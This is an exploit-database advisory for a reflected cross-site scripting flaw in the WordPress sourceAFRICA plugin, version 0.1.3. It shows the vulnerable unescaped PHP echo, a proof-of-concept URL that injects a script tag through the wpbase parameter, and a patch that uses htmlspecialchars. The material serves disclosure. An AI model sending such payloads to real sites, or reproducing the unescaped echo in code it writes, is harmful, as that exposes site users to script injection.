WordPress sourceAFRICA 0.1.3 Cross Site Scripting

`######################  
# Exploit Title : Wordpress sourceAFRICA Plugin Cross Site Scripting  
# Exploit Author : Ashiyane Digital Security Team  
# Vendor Homepage : https://wordpress.org/plugins/sourceafrica/  
# Date: 2015-08-29  
# Tested On : Elementary Os - Firefox  
# Software Link : https://downloads.wordpress.org/plugin/sourceafrica.zip  
# Version : 0.1.3  
######################  
# Vulnerable Code:  
# File: js/window.php - Line 18-19  
  
<script src="<?php echo   
$SITEURL;?>wp-includes/js/tinymce/tiny_mce_popup.js"></script>  
<script src="<?php echo   
$SITEURL;?>wp-includes/js/tinymce/utils/form_utils.js"></script>  
######################  
# POC :  
http://[URL]/[PATH]/wp-content/plugins/sourceafrica/js/window.php?wpbase="></script><script>alert("xss")</script>  
######################  
# Patch:  
# File: js/window.php - Line 18-19  
  
<script src="<?php echo   
htmlspecialchars($SITEURL);?>wp-includes/js/tinymce/tiny_mce_popup.js"></script>  
<script src="<?php echo   
htmlspecialchars($SITEURL);?>wp-includes/js/tinymce/utils/form_utils.js"></script>  
######################  
# Discovered By : Ehsan Hosseini  
######################  
`